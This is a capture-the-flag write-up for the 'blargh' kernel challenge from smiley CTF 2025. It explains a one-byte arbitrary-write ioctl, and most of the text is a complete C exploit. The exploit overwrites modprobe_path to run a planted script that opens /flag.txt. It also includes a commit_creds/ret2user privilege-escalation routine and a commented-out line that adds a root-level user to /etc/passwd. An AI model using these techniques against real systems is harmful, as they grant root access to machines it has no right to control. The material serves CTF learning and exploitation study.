2025-9
Challenge information
CTF: smiley CTF 2025
Challenge:
blarghSolves: N/A
Description:
N/ATime-wasting to solve: 30 min
Writeup
Kernel pwn always give me a lot of fun.
Hmm, function blargh_ioctl was quite simple.
__int64 __fastcall blargh_ioctl(__int64 a1, int a2, __int64 a3)
{
unsigned __int64 v3; // rax
unsigned __int64 v4; // rax
if ( a2 != 1074292513 || !writes )
return -1;
v3 = __readcr0();
__writecr0(v3 ^ 0x10000);
*((_BYTE *)&printk + a3) = 0;
v4 = __readcr0();
__writecr0(v4 ^ 0x10000);
writes = 0;
return 0;
}
So, we have one time arbitrary address write primitive.
Looks overwriting modprobe_path simply is the most influential strategy...
As a result, it works... 😄
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <unistd.h>
#define COLOR_ENABLE 0
#define COLOR_RESET "\033[0m"
#define COLOR_RED "\033[0;31m"
#define COLOR_GREEN "\033[0;32m"
#define COLOR_YELLOW "\033[0;33m"
#define COLOR_BLUE "\033[0;34m"
#define COLOR_MAGENTA "\033[0;35m"
#define COLOR_CYAN "\033[0;36m"
#define info(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[*] " fmt "\n", ##__VA_ARGS__); \
}
#define success(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[+] " fmt "\n", ##__VA_ARGS__); \
}
#define error(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[-] " fmt "\n", ##__VA_ARGS__); \
}
#define warning(fmt, ...) \
if (COLOR_ENABLE) { \
printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \
} else { \
printf("[!] " fmt "\n", ##__VA_ARGS__); \
}
#define rep(X,Y) for (int X = 0;X < (Y);++X)
#define irep(X) for (int X = 0;;++X)
#define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X)
/* https://github.com/gmo-ierae/ierae-ctf/blob/main/2024/pwn/free2free/solution/exploit.c */
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) { \
error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
exit(1); \
} \
__res; \
})
/* common data */
#define PROC_NAME "NKTIDKSG"
//#define MODPROBE_SCRIPT "#!/bin/sh\necho pwn::0:0:root:/root:/bin/sh>>/etc/passwd\n"
#define MODPROBE_SCRIPT "#!/bin/sh\n/bin/chmod 777 /flag.txt\n"
#define MODPROBE_FAKE "/s"
unsigned long cs;
unsigned long ss;
unsigned long rsp;
unsigned long rflags;
//linux-6.14.2
unsigned long commit_creds = 0xffffffff812a1050;
unsigned long init_cred = 0xffffffff81e3bfa0;
unsigned long kbase = 0xffffffff81000000;
void shell() {
puts("[*] shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
SYSCHK(execve("/bin/sh", argv, envp));
}
static void ret2user(unsigned long rip) {
asm volatile ("swapgs\n");
asm volatile(
"movq %0, 0x20(%%rsp)\t\n"
"movq %1, 0x18(%%rsp)\t\n"
"movq %2, 0x10(%%rsp)\t\n"
"movq %3, 0x08(%%rsp)\t\n"
"movq %4, 0x00(%%rsp)\t\n"
"iretq"
:
: "r"(ss),
"r"(rsp),
"r"(rflags),
"r"(cs), "r"(rip));
}
void lpe() {
void (*cc)(char *) = (void *)commit_creds;
(*cc)((void *)init_cred);
ret2user((unsigned long)shell);
}
static void refuge() {
asm volatile (
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(cs), "=r"(ss), "=r"(rsp), "=r"(rflags)
:
: "memory");
}
void dump_memory(char *buf, int size) {
char *p = buf;
for (int i = 0; i < size; i += 0x10) {
printf("0x%06x |", i);
printf(" 0x%016lx ", *(unsigned long *)(p + i));
printf(" 0x%016lx ", *(unsigned long *)(p + i + 8));
printf("\n");
}
}
void xxd(char *buf, int size) {
char *p = buf;
for (int i = 0; i < size; i += 0x10) {
printf("0x%06x |", i);
for (int j = 0; j < 0x10; j++) { printf(" %02x", *(unsigned char *)(p+i+j)); }
printf(" |");
for (int j = 0; j < 0x10; j++) {
if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) {
printf(".");
} else { printf("%c", *(unsigned char *)(p + i + j)); }
}
printf("|\n");
}
}
void init_modprobe() {
int exp_fd = SYSCHK(open(MODPROBE_FAKE, O_RDWR | O_CREAT, 0777));
SYSCHK(write(exp_fd, MODPROBE_SCRIPT, strlen(MODPROBE_SCRIPT)));
SYSCHK(close(exp_fd));
}
void exec_modprobe() {
info("exec modprobe");
socket(38, SOCK_SEQPACKET, 0);
char *su_argv[] = {"su", "-", "pwn",NULL};
SYSCHK(execve("/bin/su", su_argv, NULL));
shell();
}
void exec_modprobe_old() {
#define TRIG "/tmp/TDN810"
int trigger = SYSCHK(open(TRIG, O_RDWR | O_CREAT, 0777));
SYSCHK(write(trigger, "\xdd\xdd", 2));
SYSCHK(close(trigger));
execve(TRIG, NULL, NULL);
char *su_argv[] = {"su", "-", "pwn",NULL};
SYSCHK(execve("/bin/su", su_argv, NULL));
shell();
}
#define NUM_CORES 0
void init_proc() {
SYSCHK(prctl(PR_SET_NAME, PROC_NAME, 0, 0, 0));
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(NUM_CORES, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
#define CMD_IOCTL 1074292513
#define DEVICE_NAME "/dev/blargh"
int main(void) {
//ffffffff81340f00 T __request_module
init_modprobe();
int victim = SYSCHK(open(DEVICE_NAME, O_RDONLY));
info("victim fd: %d", victim);
unsigned long printk = 0xffffffff81303260;
unsigned long modprobe = 0xffffffff82b45b20;
unsigned long target = modprobe+2;
unsigned long diff = target - printk;
ioctl(victim, CMD_IOCTL, diff);
exec_modprobe();
}
/*
-serial tcp:127.0.0.1:9999,server,nowait \
-gdb tcp::12345 \
*/
Last modified: 21 November 2025